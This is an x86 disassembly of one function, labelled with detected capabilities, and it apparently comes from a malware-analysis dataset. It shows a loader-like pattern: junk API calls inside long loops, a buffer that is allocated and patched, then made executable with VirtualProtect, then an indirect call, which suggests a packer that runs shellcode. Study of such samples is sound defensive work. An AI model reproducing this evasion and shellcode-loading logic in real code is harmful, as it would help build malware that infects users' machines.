Function at 0x40aab3
Capabilities:
Allocate or change rwx memory
Connect pipe
Copy file
Create mailslot
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get disk size
Get file attributes
Get hostname
Manipulate console buffer
Move file
Read .ini file
Read pipe
Terminate process
Write pipe

Disassembly:
push ebp
lea ebp, [esp - 0x68]
mov eax, 0x1f2c
call fcn.0040bbe0
push ebx
push esi
xor esi, esi
cmp dword [0xb32a60], 3
push edi
jne 0x40ab68
push esi
push esi
push esi
push esi
call fcn.0040d510
push esi
push esi
push esi
push 0x445568
call fcn.0040d510
push esi
call fcn.0040d3c0
push esi
push esi
call fcn.0040d170
push esi
call fcn.0040cea0
add esp, 0x30
lea ecx, [ebp + 0x3c]
call fcn.0040b2ec
cmp dword [0xb32a60], 0xd75
jne 0x40ab1f
lea eax, [ebp - 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push esi
call fcn.0040c7f0
push esi
push esi
call fcn.0040ce70
push esi
push esi
call fcn.0040ce40
push esi
push esi
call fcn.0040ce70
push esi
call fcn.0040ce10
push esi
call fcn.0040cd90
push esi
push esi
push esi
push esi
call fcn.0040cd60
push esi
call fcn.0040c810
push esi
push esi
push esi
call fcn.0040c140
add esp, 0x44
lea ecx, [ebp + 0x3c]
call fcn.0040b347
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov dword [ebp + 0x64], esi
cmp dword [0xb32a60], 0x47
jne 0x40abf4
xor eax, eax
mov dword [ebp + 0x3c], esi
lea edi, [ebp + 0x40]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
lea eax, [ebp + 0x60]
push eax
push esi
lea eax, [ebp - 0x6c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea eax, [ebp + 0x58]
push eax
push 0x4018c0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [ebp + 0x64], 0x259f
je 0x40ac27
cmp dword [0xb32a60], 0xf
jne 0x40ac15
push esi
lea eax, [ebp - 0x6c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll__hwrite]
inc dword [ebp + 0x64]
cmp dword [ebp + 0x64], 0x1ab6ffe
jl 0x40ab71
jmp 0x40ac31
mov eax, dword [0x434d18]
mov dword [0xb32a60], eax
xor edi, edi
cmp edi, 0x221e7
jge 0x40ac48
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0xb32a60], 0x6b
jne 0x40ac54
push esi
call ebx
cmp edi, 0xfb4cc
mov dword [0xb30250], esi
jle 0x40ac83
cmp dword [ebp + 0x58], 0xdfe946
je 0x40ac83
cmp dword [ebp + 4], 0xdf6250
je 0x40ac83
cmp dword [0xb32a60], 0x28
jne 0x40ac83
call dword [sym.imp.KERNEL32.dll_GetTickCount]
inc edi
cmp edi, 0x180a913f
jl 0x40ac33
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp + 0x64], esi
cmp dword [ebp + 0x64], 0x41d
jne 0x40aca8
push 0xb32a60
call fcn.0040a717
cmp dword [0xb32a60], 0x78
jne 0x40ae25
xor eax, eax
mov word [ebp + 0x60], ax
lea edi, [ebp + 0x62]
stosw word es:[edi], ax
lea eax, [ebp + 0x58]
push eax
push dword [ebp + 0x60]
push esi
push 0x401930
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0x401950
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
lea eax, [ebp + 0x50]
push eax
push 0x4019a4
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [ebp - 0x50]
push eax
push 0x4019bc
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push esi
lea eax, [ebp + 0x54]
push eax
push esi
lea eax, [ebp - 0x6c4]
push eax
push esi
push esi
push 0x4019c0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push esi
lea eax, [ebp - 0x12c4]
push eax
push esi
push 0x4019d0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
xor eax, eax
mov word [ebp + 0x40], ax
lea edi, [ebp + 0x42]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push esi
push esi
push esi
push 0x4019dc
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
lea eax, [ebp + 0x5c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push esi
lea eax, [ebp - 0xac4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
push esi
lea eax, [ebp - 0xec4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push esi
call ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
inc dword [ebp + 0x64]
cmp dword [ebp + 0x64], 0x40bbb0
jl 0x40ac95
push dword [0xb32a60]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0xb2d920], eax
xor eax, eax
cmp eax, 0x1550
jne 0x40ae5c
mov ecx, dword [0x434008]
mov dword [0xb32a64], ecx
inc eax
cmp eax, 0x56a453
jl 0x40ae49
mov dword [ebp + 0x60], 0x7015e7
cmp dword [0xb32a60], 0x23
jne 0x40af94
push esi
lea eax, [ebp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea eax, [ebp + 0x54]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
xor eax, eax
mov dword [ebp + 0x3c], esi
lea edi, [ebp + 0x40]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp + 0x3c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea eax, [ebp - 0x2c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x4019ec
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push esi
lea eax, [ebp - 0xec4]
push eax
push 0x4019fc
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0x401a2c
push 0x401a50
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push 0x401a9c
push esi
lea eax, [ebp - 0xac4]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea eax, [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x12c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
lea eax, [ebp + 0x64]
push eax
mov dword [ebp + 0x64], esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
dec dword [ebp + 0x60]
jne 0x40ae6b
xor edi, edi
cmp dword [0xb32a60], esi
jbe 0x40afef
cmp dword [0xb32a60], 0x932
jne 0x40afe0
lea eax, [ebp - 0x1ec4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseActCtx]
lea eax, [ebp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push edi
call fcn.0040a5cc
inc edi
cmp edi, dword [0xb32a60]
jb 0x40afa7
xor edi, edi
cmp dword [0xb32a60], 0x15a
jne 0x40b014
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push esi
push dword [ebp + 0x5c]
push dword [ebp + 0x5c]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
cmp edi, 0x75ec5
jne 0x40b02c
push 0x401ac0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0xb3025c], eax
inc edi
cmp edi, 0x1756bb
jl 0x40aff1
mov byte [0x445568], 0x56
mov byte [0x44556a], 0x72
mov byte [0x44556b], 0x74
xor edi, edi
cmp edi, 0x1c
jne 0x40b069
lea eax, [ebp + 0x5c]
push eax
push 0x40
push dword [0xb32a60]
push dword [0xb2d920]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, 0x3debc7
jl 0x40b04c
call fcn.0040a7fa
cmp dword [0xb32a60], 0x1d
jne 0x40b228
push esi
lea eax, [ebp + 0x5c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
lea eax, [ebp + 0x54]
push eax
push esi
lea eax, [ebp - 0xec4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push 0x401ad0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp + 0x48]
push eax
push 0x401b24
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp + 0x50]
push eax
call edi
push esi
lea eax, [ebp - 0xac4]
push eax
lea eax, [ebp + 0x58]
push eax
lea eax, [ebp + 0x28]
push eax
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp + 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll__lwrite]
push esi
push esi
lea eax, [ebp - 0x12c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push esi
push esi
push esi
push esi
push esi
call ebx
lea eax, [ebp]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
push esi
push esi
push esi
push esi
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x401b44
lea eax, [ebp - 0x6c4]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
lea eax, [ebp - 0x16c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0x401b78
lea eax, [ebp - 0x1ac4]
push eax
call ebx
lea eax, [ebp + 0x34]
push eax
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x30
lea eax, [ebp - 0x40]
push esi
push eax
mov dword [ebp - 0x44], esi
call fcn.0040d540
add esp, 0xc
push esi
lea eax, [ebp - 0x44]
push eax
push 0x401ba4
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
xor eax, eax
mov word [ebp + 0x60], ax
lea edi, [ebp + 0x62]
stosw word es:[edi], ax
push dword [ebp + 0x60]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
lea eax, [ebp + 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0x401bac
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea eax, [ebp + 0x64]
push eax
push esi
push 0x401bd0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
call fcn.0040a706
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 0x68
leave
ret 0x10